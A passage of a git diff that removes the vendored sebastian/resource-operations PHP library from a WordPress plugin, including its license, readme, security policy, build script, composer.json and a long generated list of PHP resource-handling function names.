https://github.com/sebastianbergmann/comparator/resource-operations/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/comparator/resource-operations/1.0.0...2.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/LICENSE deleted file mode 100644 index dccd6b07..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Resource Operations - -Copyright (c) 2015-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/README.md deleted file mode 100644 index 88b05ccb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Resource Operations - -Provides a list of PHP built-in functions that operate on resources. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require sebastian/resource-operations - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev sebastian/resource-operations - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/SECURITY.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/SECURITY.md deleted file mode 100644 index d88ff001..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/SECURITY.md +++ /dev/null @@ -1,30 +0,0 @@ -# Security Policy - -If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. - -**Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** - -Instead, please email `sebastian@phpunit.de`. - -Please include as much of the information listed below as you can to help us better understand and resolve the issue: - -* The type of issue -* Full paths of source file(s) related to the manifestation of the issue -* The location of the affected source code (tag/branch/commit or direct URL) -* Any special configuration required to reproduce the issue -* Step-by-step instructions to reproduce the issue -* Proof-of-concept or exploit code (if possible) -* Impact of the issue, including how an attacker might exploit the issue - -This information will help us triage your report more quickly. - -## Web Context - -The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. - -The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. - -If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. - -Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/build/generate.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/build/generate.php deleted file mode 100755 index 0354dc45..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/build/generate.php +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env php - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -$functions = require __DIR__ . '/FunctionSignatureMap.php'; -$resourceFunctions = []; - -foreach ($functions as $function => $arguments) { - foreach ($arguments as $argument) { - if (strpos($argument, '?') === 0) { - $argument = substr($argument, 1); - } - - if ($argument === 'resource') { - $resourceFunctions[] = explode('\'', $function)[0]; - } - } -} - -$resourceFunctions = array_unique($resourceFunctions); -sort($resourceFunctions); - -$buffer = << - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ResourceOperations; - -final class ResourceOperations -{ - /** - * @return string[] - */ - public static function getFunctions(): array - { - return [ - -EOT; - -foreach ($resourceFunctions as $function) { - $buffer .= sprintf(" '%s',\n", $function); -} - -$buffer .= <<< EOT - ]; - } -} - -EOT; - -file_put_contents(__DIR__ . '/../src/ResourceOperations.php', $buffer); - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/composer.json deleted file mode 100644 index 77e4baee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/composer.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "sebastian/resource-operations", - "description": "Provides a list of PHP built-in functions that operate on resources", - "homepage": "https://www.github.com/sebastianbergmann/resource-operations", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.0" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "extra": { - "branch-alias": { - "dev-main": "3.0-dev" - } - }, - "abandoned": false -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/src/ResourceOperations.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/src/ResourceOperations.php deleted file mode 100644 index f3911f36..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/src/ResourceOperations.php +++ /dev/null @@ -1,2232 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ResourceOperations; - -final class ResourceOperations -{ - /** - * @return string[] - */ - public static function getFunctions(): array - { - return [ - 'Directory::close', - 'Directory::read', - 'Directory::rewind', - 'DirectoryIterator::openFile', - 'FilesystemIterator::openFile', - 'Gmagick::readimagefile', - 'HttpResponse::getRequestBodyStream', - 'HttpResponse::getStream', - 'HttpResponse::setStream', - 'Imagick::pingImageFile', - 'Imagick::readImageFile', - 'Imagick::writeImageFile', - 'Imagick::writeImagesFile', - 'MongoGridFSCursor::__construct', - 'MongoGridFSFile::getResource', - 'MysqlndUhConnection::stmtInit', - 'MysqlndUhConnection::storeResult', - 'MysqlndUhConnection::useResult', - 'PDF_activate_item', - 'PDF_add_launchlink', - 'PDF_add_locallink', - 'PDF_add_nameddest', - 'PDF_add_note', - 'PDF_add_pdflink', - 'PDF_add_table_cell', - 'PDF_add_textflow', - 'PDF_add_thumbnail', - 'PDF_add_weblink', - 'PDF_arc', - 'PDF_arcn', - 'PDF_attach_file', - 'PDF_begin_document', - 'PDF_begin_font', - 'PDF_begin_glyph', - 'PDF_begin_item', - 'PDF_begin_layer', - 'PDF_begin_page', - 'PDF_begin_page_ext', - 'PDF_begin_pattern', - 'PDF_begin_template', - 'PDF_begin_template_ext', - 'PDF_circle', - 'PDF_clip', - 'PDF_close', - 'PDF_close_image', - 'PDF_close_pdi', - 'PDF_close_pdi_page', - 'PDF_closepath', - 'PDF_closepath_fill_stroke', - 'PDF_closepath_stroke', - 'PDF_concat', - 'PDF_continue_text', - 'PDF_create_3dview', - 'PDF_create_action', - 'PDF_create_annotation', - 'PDF_create_bookmark', - 'PDF_create_field', - 'PDF_create_fieldgroup', - 'PDF_create_gstate', - 'PDF_create_pvf', - 'PDF_create_textflow', - 'PDF_curveto', - 'PDF_define_layer', - 'PDF_delete', - 'PDF_delete_pvf', - 'PDF_delete_table', - 'PDF_delete_textflow', - 'PDF_encoding_set_char', - 'PDF_end_document', - 'PDF_end_font', - 'PDF_end_glyph', - 'PDF_end_item', - 'PDF_end_layer', - 'PDF_end_page', - 'PDF_end_page_ext', - 'PDF_end_pattern', - 'PDF_end_template', - 'PDF_endpath', - 'PDF_fill', - 'PDF_fill_imageblock', - 'PDF_fill_pdfblock', - 'PDF_fill_stroke', - 'PDF_fill_textblock', - 'PDF_findfont', - 'PDF_fit_image', - 'PDF_fit_pdi_page', - 'PDF_fit_table', - 'PDF_fit_textflow', - 'PDF_fit_textline', - 'PDF_get_apiname', - 'PDF_get_buffer', - 'PDF_get_errmsg', - 'PDF_get_errnum', - 'PDF_get_parameter', - 'PDF_get_pdi_parameter', - 'PDF_get_pdi_value', - 'PDF_get_value', - 'PDF_info_font', - 'PDF_info_matchbox', - 'PDF_info_table', - 'PDF_info_textflow', - 'PDF_info_textline', - 'PDF_initgraphics', - 'PDF_lineto', - 'PDF_load_3ddata', - 'PDF_load_font', - 'PDF_load_iccprofile', - 'PDF_load_image', - 'PDF_makespotcolor', - 'PDF_moveto', - 'PDF_new', - 'PDF_open_ccitt', - 'PDF_open_file', - 'PDF_open_image', - 'PDF_open_image_file', - 'PDF_open_memory_image', - 'PDF_open_pdi', - 'PDF_open_pdi_document', - 'PDF_open_pdi_page', - 'PDF_pcos_get_number', - 'PDF_pcos_get_stream', - 'PDF_pcos_get_string', - 'PDF_place_image', - 'PDF_place_pdi_page', - 'PDF_process_pdi', - 'PDF_rect', - 'PDF_restore', - 'PDF_resume_page', - 'PDF_rotate', - 'PDF_save', - 'PDF_scale', - 'PDF_set_border_color', - 'PDF_set_border_dash', - 'PDF_set_border_style', - 'PDF_set_gstate', - 'PDF_set_info', - 'PDF_set_layer_dependency', - 'PDF_set_parameter', - 'PDF_set_text_pos', - 'PDF_set_value', - 'PDF_setcolor', - 'PDF_setdash', - 'PDF_setdashpattern', - 'PDF_setflat', - 'PDF_setfont', - 'PDF_setgray', - 'PDF_setgray_fill', - 'PDF_setgray_stroke', - 'PDF_setlinecap', - 'PDF_setlinejoin', - 'PDF_setlinewidth', - 'PDF_setmatrix', - 'PDF_setmiterlimit', - 'PDF_setrgbcolor', - 'PDF_setrgbcolor_fill', - 'PDF_setrgbcolor_stroke', - 'PDF_shading', - 'PDF_shading_pattern', - 'PDF_shfill', - 'PDF_show', - 'PDF_show_boxed', - 'PDF_show_xy', - 'PDF_skew', - 'PDF_stringwidth', - 'PDF_stroke', - 'PDF_suspend_page', - 'PDF_translate', - 'PDF_utf16_to_utf8', - 'PDF_utf32_to_utf16', - 'PDF_utf8_to_utf16', - 'PDO::pgsqlLOBOpen', - 'RarEntry::getStream', - 'SQLite3::openBlob', - 'SWFMovie::saveToFile', - 'SplFileInfo::openFile', - 'SplFileObject::openFile', - 'SplTempFileObject::openFile', - 'V8Js::compileString', - 'V8Js::executeScript', - 'Vtiful\Kernel\Excel::setColumn', - 'Vtiful\Kernel\Excel::setRow', - 'Vtiful\Kernel\Format::align', - 'Vtiful\Kernel\Format::bold', - 'Vtiful\Kernel\Format::italic', - 'Vtiful\Kernel\Format::underline', - 'XMLWriter::openMemory', - 'XMLWriter::openURI', - 'ZipArchive::getStream', - 'Zookeeper::setLogStream', - 'apc_bin_dumpfile', - 'apc_bin_loadfile', - 'bbcode_add_element', - 'bbcode_add_smiley', - 'bbcode_create', - 'bbcode_destroy', - 'bbcode_parse', - 'bbcode_set_arg_parser', - 'bbcode_set_flags', - 'bcompiler_read', - 'bcompiler_write_class', - 'bcompiler_write_constant', - 'bcompiler_write_exe_footer', - 'bcompiler_write_file', - 'bcompiler_write_footer', - 'bcompiler_write_function', - 'bcompiler_write_functions_from_file', - 'bcompiler_write_header', - 'bcompiler_write_included_filename', - 'bzclose', - 'bzerrno', - 'bzerror', - 'bzerrstr', - 'bzflush', - 'bzopen', - 'bzread', - 'bzwrite', - 'cairo_surface_write_to_png', - 'closedir', - 'copy', - 'crack_closedict', - 'crack_opendict', - 'cubrid_bind', - 'cubrid_close_prepare', - 'cubrid_close_request', - 'cubrid_col_get', - 'cubrid_col_size', - 'cubrid_column_names', - 'cubrid_column_types', - 'cubrid_commit', - 'cubrid_connect', - 'cubrid_connect_with_url', - 'cubrid_current_oid', - 'cubrid_db_parameter', - 'cubrid_disconnect', - 'cubrid_drop', - 'cubrid_fetch', - 'cubrid_free_result', - 'cubrid_get', - 'cubrid_get_autocommit', - 'cubrid_get_charset', - 'cubrid_get_class_name', - 'cubrid_get_db_parameter', - 'cubrid_get_query_timeout', - 'cubrid_get_server_info', - 'cubrid_insert_id', - 'cubrid_is_instance', - 'cubrid_lob2_bind', - 'cubrid_lob2_close', - 'cubrid_lob2_export', - 'cubrid_lob2_import', - 'cubrid_lob2_new', - 'cubrid_lob2_read', - 'cubrid_lob2_seek', - 'cubrid_lob2_seek64', - 'cubrid_lob2_size', - 'cubrid_lob2_size64', - 'cubrid_lob2_tell', - 'cubrid_lob2_tell64', - 'cubrid_lob2_write', - 'cubrid_lob_export', - 'cubrid_lob_get', - 'cubrid_lob_send', - 'cubrid_lob_size', - 'cubrid_lock_read', - 'cubrid_lock_write', - 'cubrid_move_cursor', - 'cubrid_next_result', - 'cubrid_num_cols', - 'cubrid_num_rows', - 'cubrid_pconnect', - 'cubrid_pconnect_with_url', - 'cubrid_prepare', - 'cubrid_put', - 'cubrid_query', - 'cubrid_rollback', - 'cubrid_schema', - 'cubrid_seq_add', - 'cubrid_seq_drop', - 'cubrid_seq_insert', - 'cubrid_seq_put', - 'cubrid_set_add', - 'cubrid_set_autocommit', - 'cubrid_set_db_parameter', - 'cubrid_set_drop', - 'cubrid_set_query_timeout', - 'cubrid_unbuffered_query', - 'curl_close', - 'curl_copy_handle', - 'curl_errno', - 'curl_error', - 'curl_escape', - 'curl_exec', - 'curl_getinfo', - 'curl_multi_add_handle', - 'curl_multi_close', - 'curl_multi_errno', - 'curl_multi_exec', - 'curl_multi_getcontent', - 'curl_multi_info_read', - 'curl_multi_remove_handle', - 'curl_multi_select', - 'curl_multi_setopt', - 'curl_pause', - 'curl_reset', - 'curl_setopt', - 'curl_setopt_array', - 'curl_share_close', - 'curl_share_errno', - 'curl_share_init', - 'curl_share_setopt', - 'curl_unescape', - 'cyrus_authenticate', - 'cyrus_bind', - 'cyrus_close', - 'cyrus_connect', - 'cyrus_query', - 'cyrus_unbind', - 'db2_autocommit', - 'db2_bind_param', - 'db2_client_info', - 'db2_close', - 'db2_column_privileges', - 'db2_columns', - 'db2_commit', - 'db2_conn_error', - 'db2_conn_errormsg', - 'db2_connect', - 'db2_cursor_type', - 'db2_exec', - 'db2_execute', - 'db2_fetch_array', - 'db2_fetch_assoc', - 'db2_fetch_both', - 'db2_fetch_object', - 'db2_fetch_row', - 'db2_field_display_size', - 'db2_field_name', - 'db2_field_num', - 'db2_field_precision', - 'db2_field_scale', - 'db2_field_type', - 'db2_field_width', - 'db2_foreign_keys', - 'db2_free_result', - 'db2_free_stmt', - 'db2_get_option', - 'db2_last_insert_id', - 'db2_lob_read', - 'db2_next_result', - 'db2_num_fields', - 'db2_num_rows', - 'db2_pclose', - 'db2_pconnect', - 'db2_prepare', - 'db2_primary_keys', - 'db2_procedure_columns', - 'db2_procedures', - 'db2_result', - 'db2_rollback', - 'db2_server_info', - 'db2_set_option', - 'db2_special_columns', - 'db2_statistics', - 'db2_stmt_error', - 'db2_stmt_errormsg', - 'db2_table_privileges', - 'db2_tables', - 'dba_close', - 'dba_delete', - 'dba_exists', - 'dba_fetch', - 'dba_firstkey', - 'dba_insert', - 'dba_nextkey', - 'dba_open', - 'dba_optimize', - 'dba_popen', - 'dba_replace', - 'dba_sync', - 'dbplus_add', - 'dbplus_aql', - 'dbplus_close', - 'dbplus_curr', - 'dbplus_find', - 'dbplus_first', - 'dbplus_flush', - 'dbplus_freelock', - 'dbplus_freerlocks', - 'dbplus_getlock', - 'dbplus_getunique', - 'dbplus_info', - 'dbplus_last', - 'dbplus_lockrel', - 'dbplus_next', - 'dbplus_open', - 'dbplus_prev', - 'dbplus_rchperm', - 'dbplus_rcreate', - 'dbplus_rcrtexact', - 'dbplus_rcrtlike', - 'dbplus_restorepos', - 'dbplus_rkeys', - 'dbplus_ropen', - 'dbplus_rquery', - 'dbplus_rrename', - 'dbplus_rsecindex', - 'dbplus_runlink', - 'dbplus_rzap', - 'dbplus_savepos', - 'dbplus_setindex', - 'dbplus_setindexbynumber', - 'dbplus_sql', - 'dbplus_tremove', - 'dbplus_undo', - 'dbplus_undoprepare', - 'dbplus_unlockrel', - 'dbplus_unselect', - 'dbplus_update', - 'dbplus_xlockrel', - 'dbplus_xunlockrel', - 'deflate_add', - 'dio_close', - 'dio_fcntl', - 'dio_open', - 'dio_read', - 'dio_seek', - 'dio_stat', - 'dio_tcsetattr', - 'dio_truncate', - 'dio_write', - 'dir', - 'eio_busy', - 'eio_cancel', - 'eio_chmod', - 'eio_chown', - 'eio_close', - 'eio_custom', - 'eio_dup2', - 'eio_fallocate', - 'eio_fchmod', - 'eio_fchown', - 'eio_fdatasync', - 'eio_fstat', - 'eio_fstatvfs', - 'eio_fsync', - 'eio_ftruncate', - 'eio_futime', - 'eio_get_last_error', - 'eio_grp', - 'eio_grp_add', - 'eio_grp_cancel', - 'eio_grp_limit', - 'eio_link', - 'eio_lstat', - 'eio_mkdir', - 'eio_mknod', - 'eio_nop', - 'eio_open', - 'eio_read', - 'eio_readahead', - 'eio_readdir', - 'eio_readlink', - 'eio_realpath', - 'eio_rename', - 'eio_rmdir', - 'eio_seek', - 'eio_sendfile', - 'eio_stat', - 'eio_statvfs', - 'eio_symlink', - 'eio_sync', - 'eio_sync_file_range', - 'eio_syncfs', - 'eio_truncate', - 'eio_unlink', - 'eio_utime', - 'eio_write', - 'enchant_broker_describe', - 'enchant_broker_dict_exists', - 'enchant_broker_free', - 'enchant_broker_free_dict', - 'enchant_broker_get_dict_path', - 'enchant_broker_get_error', - 'enchant_broker_init', - 'enchant_broker_list_dicts', - 'enchant_broker_request_dict', - 'enchant_broker_request_pwl_dict', - 'enchant_broker_set_dict_path', - 'enchant_broker_set_ordering', - 'enchant_dict_add_to_personal', - 'enchant_dict_add_to_session', - 'enchant_dict_check', - 'enchant_dict_describe', - 'enchant_dict_get_error', - 'enchant_dict_is_in_session', - 'enchant_dict_quick_check', - 'enchant_dict_store_replacement', - 'enchant_dict_suggest', - 'event_add', - 'event_base_free', - 'event_base_loop', - 'event_base_loopbreak', - 'event_base_loopexit', - 'event_base_new', - 'event_base_priority_init', - 'event_base_reinit', - 'event_base_set', - 'event_buffer_base_set', - 'event_buffer_disable', - 'event_buffer_enable', - 'event_buffer_fd_set', - 'event_buffer_free', - 'event_buffer_new', - 'event_buffer_priority_set', - 'event_buffer_read', - 'event_buffer_set_callback', - 'event_buffer_timeout_set', - 'event_buffer_watermark_set', - 'event_buffer_write', - 'event_del', - 'event_free', - 'event_new', - 'event_priority_set', - 'event_set', - 'event_timer_add', - 'event_timer_del', - 'event_timer_pending', - 'event_timer_set', - 'expect_expectl', - 'expect_popen', - 'fam_cancel_monitor', - 'fam_close', - 'fam_monitor_collection', - 'fam_monitor_directory', - 'fam_monitor_file', - 'fam_next_event', - 'fam_open', - 'fam_pending', - 'fam_resume_monitor', - 'fam_suspend_monitor', - 'fann_cascadetrain_on_data', - 'fann_cascadetrain_on_file', - 'fann_clear_scaling_params', - 'fann_copy', - 'fann_create_from_file', - 'fann_create_shortcut_array', - 'fann_create_standard', - 'fann_create_standard_array', - 'fann_create_train', - 'fann_create_train_from_callback', - 'fann_descale_input', - 'fann_descale_output', - 'fann_descale_train', - 'fann_destroy', - 'fann_destroy_train', - 'fann_duplicate_train_data', - 'fann_get_MSE', - 'fann_get_activation_function', - 'fann_get_activation_steepness', - 'fann_get_bias_array', - 'fann_get_bit_fail', - 'fann_get_bit_fail_limit', - 'fann_get_cascade_activation_functions', - 'fann_get_cascade_activation_functions_count', - 'fann_get_cascade_activation_steepnesses', - 'fann_get_cascade_activation_steepnesses_count', - 'fann_get_cascade_candidate_change_fraction', - 'fann_get_cascade_candidate_limit', - 'fann_get_cascade_candidate_stagnation_epochs', - 'fann_get_cascade_max_cand_epochs', - 'fann_get_cascade_max_out_epochs', - 'fann_get_cascade_min_cand_epochs', - 'fann_get_cascade_min_out_epochs', - 'fann_get_cascade_num_candidate_groups', - 'fann_get_cascade_num_candidates', - 'fann_get_cascade_output_change_fraction', - 'fann_get_cascade_output_stagnation_epochs', - 'fann_get_cascade_weight_multiplier', - 'fann_get_connection_array', - 'fann_get_connection_rate', - 'fann_get_errno', - 'fann_get_errstr', - 'fann_get_layer_array', - 'fann_get_learning_momentum', - 'fann_get_learning_rate', - 'fann_get_network_type', - 'fann_get_num_input', - 'fann_get_num_layers', - 'fann_get_num_output', - 'fann_get_quickprop_decay', - 'fann_get_quickprop_mu', - 'fann_get_rprop_decrease_factor', - 'fann_get_rprop_delta_max', - 'fann_get_rprop_delta_min', - 'fann_get_rprop_delta_zero', - 'fann_get_rprop_increase_factor', - 'fann_get_sarprop_step_error_shift', - 'fann_get_sarprop_step_error_threshold_factor', - 'fann_get_sarprop_temperature', - 'fann_get_sarprop_weight_decay_shift', - 'fann_get_total_connections', - 'fann_get_total_neurons', - 'fann_get_train_error_function', - 'fann_get_train_stop_function', - 'fann_get_training_algorithm', - 'fann_init_weights', - 'fann_length_train_data', - 'fann_merge_train_data', - 'fann_num_input_train_data', - 'fann_num_output_train_data', - 'fann_randomize_weights', - 'fann_read_train_from_file', - 'fann_reset_errno', - 'fann_reset_errstr', - 'fann_run', - 'fann_save', - 'fann_save_train', - 'fann_scale_input', - 'fann_scale_input_train_data', - 'fann_scale_output', - 'fann_scale_output_train_data', - 'fann_scale_train', - 'fann_scale_train_data', - 'fann_set_activation_function', - 'fann_set_activation_function_hidden', - 'fann_set_activation_function_layer', - 'fann_set_activation_function_output', - 'fann_set_activation_steepness', - 'fann_set_activation_steepness_hidden', - 'fann_set_activation_steepness_layer', - 'fann_set_activation_steepness_output', - 'fann_set_bit_fail_limit', - 'fann_set_callback', - 'fann_set_cascade_activation_functions', - 'fann_set_cascade_activation_steepnesses', - 'fann_set_cascade_candidate_change_fraction', - 'fann_set_cascade_candidate_limit', - 'fann_set_cascade_candidate_stagnation_epochs', - 'fann_set_cascade_max_cand_epochs', - 'fann_set_cascade_max_out_epochs', - 'fann_set_cascade_min_cand_epochs', - 'fann_set_cascade_min_out_epochs', - 'fann_set_cascade_num_candidate_groups', - 'fann_set_cascade_output_change_fraction', - 'fann_set_cascade_output_stagnation_epochs', - 'fann_set_cascade_weight_multiplier', - 'fann_set_error_log', - 'fann_set_input_scaling_params', - 'fann_set_learning_momentum', - 'fann_set_learning_rate', - 'fann_set_output_scaling_params', - 'fann_set_quickprop_decay', - 'fann_set_quickprop_mu', - 'fann_set_rprop_decrease_factor', - 'fann_set_rprop_delta_max', - 'fann_set_rprop_delta_min', - 'fann_set_rprop_delta_zero', - 'fann_set_rprop_increase_factor', - 'fann_set_sarprop_step_error_shift', - 'fann_set_sarprop_step_error_threshold_factor', - 'fann_set_sarprop_temperature', - 'fann_set_sarprop_weight_decay_shift', - 'fann_set_scaling_params', - 'fann_set_train_error_function', - 'fann_set_train_stop_function', - 'fann_set_training_algorithm', - 'fann_set_weight', - 'fann_set_weight_array', - 'fann_shuffle_train_data', - 'fann_subset_train_data', - 'fann_test', - 'fann_test_data', - 'fann_train', - 'fann_train_epoch', - 'fann_train_on_data', - 'fann_train_on_file', - 'fbsql_affected_rows', - 'fbsql_autocommit', - 'fbsql_blob_size', - 'fbsql_change_user', - 'fbsql_clob_size', - 'fbsql_close', - 'fbsql_commit', - 'fbsql_connect', - 'fbsql_create_blob', - 'fbsql_create_clob', - 'fbsql_create_db', - 'fbsql_data_seek', - 'fbsql_database', - 'fbsql_database_password', - 'fbsql_db_query', - 'fbsql_db_status', - 'fbsql_drop_db', - 'fbsql_errno', - 'fbsql_error', - 'fbsql_fetch_array', - 'fbsql_fetch_assoc', - 'fbsql_fetch_field', - 'fbsql_fetch_lengths', - 'fbsql_fetch_object', - 'fbsql_fetch_row', - 'fbsql_field_flags', - 'fbsql_field_len', - 'fbsql_field_name', - 'fbsql_field_seek', - 'fbsql_field_table', - 'fbsql_field_type', - 'fbsql_free_result', - 'fbsql_get_autostart_info', - 'fbsql_hostname', - 'fbsql_insert_id', - 'fbsql_list_dbs', - 'fbsql_list_fields', - 'fbsql_list_tables', - 'fbsql_next_result', - 'fbsql_num_fields', - 'fbsql_num_rows', - 'fbsql_password', - 'fbsql_pconnect', - 'fbsql_query', - 'fbsql_read_blob', - 'fbsql_read_clob', - 'fbsql_result', - 'fbsql_rollback', - 'fbsql_rows_fetched', - 'fbsql_select_db', - 'fbsql_set_characterset', - 'fbsql_set_lob_mode', - 'fbsql_set_password', - 'fbsql_set_transaction', - 'fbsql_start_db', - 'fbsql_stop_db', - 'fbsql_table_name', - 'fbsql_username', - 'fclose', - 'fdf_add_doc_javascript', - 'fdf_add_template', - 'fdf_close', - 'fdf_create', - 'fdf_enum_values', - 'fdf_get_ap', - 'fdf_get_attachment', - 'fdf_get_encoding', - 'fdf_get_file', - 'fdf_get_flags', - 'fdf_get_opt', - 'fdf_get_status', - 'fdf_get_value', - 'fdf_get_version', - 'fdf_next_field_name', - 'fdf_open', - 'fdf_open_string', - 'fdf_remove_item', - 'fdf_save', - 'fdf_save_string', - 'fdf_set_ap', - 'fdf_set_encoding', - 'fdf_set_file', - 'fdf_set_flags', - 'fdf_set_javascript_action', - 'fdf_set_on_import_javascript', - 'fdf_set_opt', - 'fdf_set_status', - 'fdf_set_submit_form_action', - 'fdf_set_target_frame', - 'fdf_set_value', - 'fdf_set_version', - 'feof', - 'fflush', - 'ffmpeg_frame::__construct', - 'ffmpeg_frame::toGDImage', - 'fgetc', - 'fgetcsv', - 'fgets', - 'fgetss', - 'file', - 'file_get_contents', - 'file_put_contents', - 'finfo::buffer', - 'finfo::file', - 'finfo_buffer', - 'finfo_close', - 'finfo_file', - 'finfo_open', - 'finfo_set_flags', - 'flock', - 'fopen', - 'fpassthru', - 'fprintf', - 'fputcsv', - 'fputs', - 'fread', - 'fscanf', - 'fseek', - 'fstat', - 'ftell', - 'ftp_alloc', - 'ftp_append', - 'ftp_cdup', - 'ftp_chdir', - 'ftp_chmod', - 'ftp_close', - 'ftp_delete', - 'ftp_exec', - 'ftp_fget', - 'ftp_fput', - 'ftp_get', - 'ftp_get_option', - 'ftp_login', - 'ftp_mdtm', - 'ftp_mkdir', - 'ftp_mlsd', - 'ftp_nb_continue', - 'ftp_nb_fget', - 'ftp_nb_fput', - 'ftp_nb_get', - 'ftp_nb_put', - 'ftp_nlist', - 'ftp_pasv', - 'ftp_put', - 'ftp_pwd', - 'ftp_quit', - 'ftp_raw', - 'ftp_rawlist', - 'ftp_rename', - 'ftp_rmdir', - 'ftp_set_option', - 'ftp_site', - 'ftp_size', - 'ftp_systype', - 'ftruncate', - 'fwrite', - 'get_resource_type', - 'gmp_div', - 'gnupg::init', - 'gnupg_adddecryptkey', - 'gnupg_addencryptkey', - 'gnupg_addsignkey', - 'gnupg_cleardecryptkeys', - 'gnupg_clearencryptkeys', - 'gnupg_clearsignkeys', - 'gnupg_decrypt', - 'gnupg_decryptverify', - 'gnupg_encrypt', - 'gnupg_encryptsign', - 'gnupg_export', - 'gnupg_geterror', - 'gnupg_getprotocol', - 'gnupg_import', - 'gnupg_init', - 'gnupg_keyinfo', - 'gnupg_setarmor', - 'gnupg_seterrormode', - 'gnupg_setsignmode', - 'gnupg_sign', - 'gnupg_verify', - 'gupnp_context_get_host_ip', - 'gupnp_context_get_port', - 'gupnp_context_get_subscription_timeout', - 'gupnp_context_host_path', - 'gupnp_context_new', - 'gupnp_context_set_subscription_timeout', - 'gupnp_context_timeout_add', - 'gupnp_context_unhost_path', - 'gupnp_control_point_browse_start', - 'gupnp_control_point_browse_stop', - 'gupnp_control_point_callback_set', - 'gupnp_control_point_new', - 'gupnp_device_action_callback_set', - 'gupnp_device_info_get', - 'gupnp_device_info_get_service', - 'gupnp_root_device_get_available', - 'gupnp_root_device_get_relative_location', - 'gupnp_root_device_new', - 'gupnp_root_device_set_available', - 'gupnp_root_device_start', - 'gupnp_root_device_stop', - 'gupnp_service_action_get', - 'gupnp_service_action_return', - 'gupnp_service_action_return_error', - 'gupnp_service_action_set', - 'gupnp_service_freeze_notify', - 'gupnp_service_info_get', - 'gupnp_service_info_get_introspection', - 